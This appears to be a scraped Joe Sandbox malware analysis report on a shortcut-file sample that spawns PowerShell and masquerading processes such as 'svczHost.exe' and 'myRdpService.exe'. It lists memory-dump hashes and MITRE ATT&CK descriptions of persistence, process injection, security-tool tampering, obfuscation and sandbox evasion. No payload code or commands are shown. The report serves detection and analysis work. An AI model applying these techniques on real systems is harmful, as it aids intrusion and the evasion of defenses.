Snapshot File: hcaresult_12_2_7ffe922d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42136dd4a37d9d0ec6978661de3849279ea5d5d60458de4ed37a5bc1b4cd446b
Instruction ID: 2fb3241f189efe4edae9e0d1189eb5d3b72c2d63a3b123f0292713c6bb6b80ba
Opcode Fuzzy Hash: 42136dd4a37d9d0ec6978661de3849279ea5d5d60458de4ed37a5bc1b4cd446b
Instruction Fuzzy Hash: 5F01677111CB0C4FDB48EF0CE451AA5B7E0FB95324F50056DE58AC36A1D736E892CB46

Function 00007FFE922D37BE Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4919715805.00007FFE922D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE922D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffe922d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53039b9eb75fc054b59a0d11cb9a00e97f6089a71b4eb4d4495da6d24102008f
Instruction ID: cadbbc6d6c527cc69b32ee0298c6a10100cb26f33d1db787c783e43dd4c7e47b
Opcode Fuzzy Hash: 53039b9eb75fc054b59a0d11cb9a00e97f6089a71b4eb4d4495da6d24102008f
Instruction Fuzzy Hash: E7F0BB3175CB088FEB9C9A1CF44157573D1EBD9320B50007EE44FC3296D927E842CA41

Function 00007FFE922D37D2 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4919715805.00007FFE922D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE922D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffe922d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9806424a4e993f222fff5ef52dc416c1d937ba17c9543d01f61a52e282016c4f
Instruction ID: 7df6587b40d81e8a351f42d8de017ddca7019ad450352501ad82a9cbd7166623
Opcode Fuzzy Hash: 9806424a4e993f222fff5ef52dc416c1d937ba17c9543d01f61a52e282016c4f
Instruction Fuzzy Hash: BAF0303275C6084FDB5CEA1CF8429B573D5E799334B10016EF48BC2697D927E8438685

Function 00007FFE92804634 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4939073782.00007FFE92800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE92800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffe92800000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a729d7e8c6e30ca77c1dc676b7a198cec7bc1f63d2d57e5325151361db2b7aa
Instruction ID: 2cbd41d08afa543abf028abafd33be68e9944576c208f8f4179d7cb357f8cfb5
Opcode Fuzzy Hash: 8a729d7e8c6e30ca77c1dc676b7a198cec7bc1f63d2d57e5325151361db2b7aa
Instruction Fuzzy Hash: 39F0A73131CF044FD748EE1CE445661B3D1FBA9310F10462FE44AC3251DA21E4818782

Function 00007FFE92802706 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4939073782.00007FFE92800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE92800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffe92800000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 566a679e1b0f33bbc30db781050285bbb1a76457db3f04b63f0180c84eb68a6e
Instruction ID: ee5674f352e6c1c2c1d305178fa2fef2627748b19d416ce9a032bcafff6c56a5
Opcode Fuzzy Hash: 566a679e1b0f33bbc30db781050285bbb1a76457db3f04b63f0180c84eb68a6e
Instruction Fuzzy Hash: 4BD05E33B09C2D0FEBA9A18C68093FAB2D1EBD8631B184127E50DD3254DD519C3203C4

Function 00007FFE9280348E Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4939073782.00007FFE92800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE92800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffe92800000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 377649f4ad6cbc117d77a4bb95667754b0813c3ca7e9aff995b9ce303da01a1f
Instruction ID: 91696401757d0353ffe0e3bb80f08411be594b7f9b83ba12c68fbf910181df94
Opcode Fuzzy Hash: 377649f4ad6cbc117d77a4bb95667754b0813c3ca7e9aff995b9ce303da01a1f
Instruction Fuzzy Hash: 73E0C233A0C9098EF728E648F8024F8B3D0FF40230B2440B2E15DDA872DB2678218645

Function 00007FFE922D69BD Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4919715805.00007FFE922D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE922D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffe922d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bece02056a258189b6dcab990062b9c5990dcb03480038f906f0021c85317422
Instruction ID: b607a7af006596872c1cc176474d36e7d937eb45d0c708b1ca841448faca166a
Opcode Fuzzy Hash: bece02056a258189b6dcab990062b9c5990dcb03480038f906f0021c85317422
Instruction Fuzzy Hash: BFC04C33B1C7295EBB696148B8034FD73D0EBC5235B501137E64E814A2A95A713705EA

Analysis Process: svczHost.exePID: 9124, Parent PID: 1492COMMON

Non-executed Functions

Function 00007FF646DEBFE0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF646DEC00C
GetCurrentThreadId.KERNEL32 ref: 00007FF646DEC01A
GetCurrentProcessId.KERNEL32 ref: 00007FF646DEC026
QueryPerformanceCounter.KERNEL32 ref: 00007FF646DEC036

Memory Dump Source

Source File: 00000014.00000002.5373603483.00007FF646D31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF646D30000, based on PE: true

Associated: 00000014.00000002.5373558119.00007FF646D30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000014.00000002.5374741899.00007FF6471B0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000014.00000002.5375048755.00007FF647322000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000014.00000002.5375048755.00007FF647438000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000014.00000002.5375048755.00007FF64743B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000014.00000002.5375761712.00007FF647647000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000014.00000002.5375796913.00007FF647648000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000014.00000002.5375796913.00007FF647661000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000014.00000002.5375796913.00007FF647664000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000014.00000002.5375796913.00007FF647666000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000014.00000002.5375944260.00007FF647669000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ff646d30000_svczHost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 8dc9797bf68c6e5250aa19576460b601b27d2e6d7739833455c1b921422f380a
Instruction ID: ed42740c5ed0554bae6b2b3a17191c69cb93d3b6077c66ef6ac1324848f2cecd
Opcode Fuzzy Hash: 8dc9797bf68c6e5250aa19576460b601b27d2e6d7739833455c1b921422f380a
Instruction Fuzzy Hash: DF113C26B18F05DAEB01EF60EC542B833A4FB59768F440E31DA6D867A4DF78D5948380

Analysis Process: powershell.exePID: 6760, Parent PID: 9124COMMON

Executed Functions

Function 00007FFE922E79F0 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.4781640250.00007FFE922E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE922E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe922e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53a69c3c947692b821ae3bea672b0cc2924840ec2e2e26d5e948c79f8adad22b
Instruction ID: 740b6d1afbd5c96c6a0bfc74bcd4f71c0fce889a482a6734b756ec5105c6c5e3
Opcode Fuzzy Hash: 53a69c3c947692b821ae3bea672b0cc2924840ec2e2e26d5e948c79f8adad22b
Instruction Fuzzy Hash: 18517730518A4D8FEFA8DF28D8457A977D1FF98300F50426EE84DC32A5DF7895459B82

Function 00007FFE922E8247 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.4781640250.00007FFE922E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE922E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe922e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53ccb1dd16311295574f7b281234c39d093484f8da8f34dfe63c34b12857023f
Instruction ID: f4085104f1793ffe20f74001a2133942f07f93281b6ac1295ae066504fafd9d6
Opcode Fuzzy Hash: 53ccb1dd16311295574f7b281234c39d093484f8da8f34dfe63c34b12857023f
Instruction Fuzzy Hash: 9A51A330918A4E8FEBA8DF28D8553A977D1FF98310F04822DD84DC72A5DF7899449BC2

Function 00007FFE922E7C54 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.4781640250.00007FFE922E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE922E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe922e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 835f3b229644345b064ed0506c43aeb2d0aa869636c60fd987665a83fa4ad546
Instruction ID: cc2444c9e975b6a2a7783c7c064d23dc3c17870902a0cc81d704cf580a30286a
Opcode Fuzzy Hash: 835f3b229644345b064ed0506c43aeb2d0aa869636c60fd987665a83fa4ad546
Instruction Fuzzy Hash: E1313E3081968E8EFFB4AF14DC0ABF932D5FF85319F401139D44D861A2DBB86A85DB21

Function 00007FFE922E8876 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.4781640250.00007FFE922E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE922E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe922e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6a5fbeea704200183600daead71637907af3a86f5ebd7e46d4054bf732d128d
Instruction ID: 317ce0ed35e3e6e14172ef9bc8f3a7e5e1439c498e0c16cacbac8672823c70d6
Opcode Fuzzy Hash: c6a5fbeea704200183600daead71637907af3a86f5ebd7e46d4054bf732d128d
Instruction Fuzzy Hash: 2A312A30518B8C8FEB65DF28C8457D97BE1FB98714F10826EE84DC7265CB38A545CB82

Function 00007FFE922E33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.4781640250.00007FFE922E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE922E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe922e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf89f49090b503e7aeca7a821663711d1981bb9194f5c43b1669666241fa8804
Instruction ID: c2ce2ecb3a75979df593b63dcc7fdb6c8c511e8d779c643c42802c1a378467c1
Opcode Fuzzy Hash: bf89f49090b503e7aeca7a821663711d1981bb9194f5c43b1669666241fa8804
Instruction Fuzzy Hash: 0D01447111CB0D4FDB44EF0CE451AA5B7E0FB95324F50056DE58AC36A1DA26E892CB46

Function 00007FFE922E8969 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.4781640250.00007FFE922E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE922E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe922e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88f7272cbb4c23e5462294920734ecd04afb680ae36e924eb9d950f409c1ed95
Instruction ID: 4c37c8ce791c9f1f7ebb9c91c54666ef522c8e731b2ed363bf17f8f27ca859f8
Opcode Fuzzy Hash: 88f7272cbb4c23e5462294920734ecd04afb680ae36e924eb9d950f409c1ed95
Instruction Fuzzy Hash: 29018631A4C68D4EEFA8EF28E4516E977D1EF56320F40013AE45DC32E3CA65E94187C1

Analysis Process: powershell.exePID: 8496, Parent PID: 9124COMMON

Executed Functions

Function 00007FFE922B6708 Relevance: .3, Instructions: 304COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.4780822586.00007FFE922B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE922B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffe922b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77f12e23634c79b21a07866df40adfd63f93f37a1b8e1a8962f3a35f2080cbb2
Instruction ID: a96e58bafcaaf6153abcd630c43946c8da3634a62c05c98dcd64973425c11fb6
Opcode Fuzzy Hash: 77f12e23634c79b21a07866df40adfd63f93f37a1b8e1a8962f3a35f2080cbb2
Instruction Fuzzy Hash: FE812A23F1891E07FF74AA7998516FD7798DFD2360F40053AD14EC71E2DEA9A84583A0

Function 00007FFE922B33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.4780822586.00007FFE922B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE922B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffe922b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb41c5088c83ff3ff9212e5f6e9c405d94860b8db11be397b3e57a14267cfe5e
Instruction ID: b0c960a6bac158587ef195efe38e0f787a17764fca2f9d5075c83128cb81850b
Opcode Fuzzy Hash: bb41c5088c83ff3ff9212e5f6e9c405d94860b8db11be397b3e57a14267cfe5e
Instruction Fuzzy Hash: 0A01677111CB0D4FDB44EF0CE451AA6B7E0FB95324F50056EE58AC36A1DB36E892CB46

Analysis Process: myRdpService.exePID: 4644, Parent PID: 904COMMON

Non-executed Functions

Function 00007FF7B554DB00 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7B554DB2C
GetCurrentThreadId.KERNEL32 ref: 00007FF7B554DB3A
GetCurrentProcessId.KERNEL32 ref: 00007FF7B554DB46
QueryPerformanceCounter.KERNEL32 ref: 00007FF7B554DB56

Memory Dump Source

Source File: 0000002D.00000002.5369315529.00007FF7B5491000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B5490000, based on PE: true

Associated: 0000002D.00000002.5369239489.00007FF7B5490000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.5370794697.00007FF7B5996000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.5371352547.00007FF7B5B58000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.5371352547.00007FF7B5C9A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.5371352547.00007FF7B5C9C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.5372490464.00007FF7B5EF0000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.5372557661.00007FF7B5EF2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.5372557661.00007FF7B5EFC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.5372557661.00007FF7B5F0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.5372557661.00007FF7B5F10000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.5372557661.00007FF7B5F13000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.5372557661.00007FF7B5F15000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.5372959437.00007FF7B5F18000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_7ff7b5490000_myRdpService.jbxd

Yara matches

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: b66d8daab459609d726222c036090e22f93798fcae7550261880a99b86b28e2a
Instruction ID: 554b6153097b3bd536e330202fd0f26935ffd6c5104634492115e88c7327cdc7
Opcode Fuzzy Hash: b66d8daab459609d726222c036090e22f93798fcae7550261880a99b86b28e2a
Instruction Fuzzy Hash: 19118F22B04F0189FB409B64E8552A973A0FB29B58F841A31EB5D4679DDF78E1948350

Analysis Process: powershell.exePID: 4212, Parent PID: 8988COMMON

Executed Functions

Function 00007FFE922D34B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000035.00000002.5168846031.00007FFE922D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE922D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffe922d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36e879b52527cf9c0831b621c126732d1c6f159b4781d2086e37170df1838c7a
Instruction ID: 6e2aa1e93e2566be160c61df932b516312a4711995d0bb5e8e638737e79df09d
Opcode Fuzzy Hash: 36e879b52527cf9c0831b621c126732d1c6f159b4781d2086e37170df1838c7a
Instruction Fuzzy Hash: A001677111CB0D4FDB44EF0CE451AA5B7E0FB95324F50056DE58AC36A1D736E892CB46

Function 00007FFE923A0506 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000035.00000002.5170214967.00007FFE923A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE923A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffe923a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9857ae979c9b6412c5c21323786b051daf475a446c67cd5e6f2e1752c389eacf
Instruction ID: 8c9a220083d11910a8ab87f71b13047f39c7cb1da298c1d332ee08c336af90f3
Opcode Fuzzy Hash: 9857ae979c9b6412c5c21323786b051daf475a446c67cd5e6f2e1752c389eacf
Instruction Fuzzy Hash: 55E01232E4D86D5F9FA1DB9CA4692EDB7A1FB58631B400177E90CE3104CA14981147D5

Analysis Process: powershell.exePID: 1976, Parent PID: 9124COMMON

Executed Functions

Function 00007FFE922B33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000036.00000002.5357734468.00007FFE922B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE922B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_7ffe922b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb41c5088c83ff3ff9212e5f6e9c405d94860b8db11be397b3e57a14267cfe5e
Instruction ID: b0c960a6bac158587ef195efe38e0f787a17764fca2f9d5075c83128cb81850b
Opcode Fuzzy Hash: bb41c5088c83ff3ff9212e5f6e9c405d94860b8db11be397b3e57a14267cfe5e
Instruction Fuzzy Hash: 0A01677111CB0D4FDB44EF0CE451AA6B7E0FB95324F50056EE58AC36A1DB36E892CB46

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report m9c7iq9nzP.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

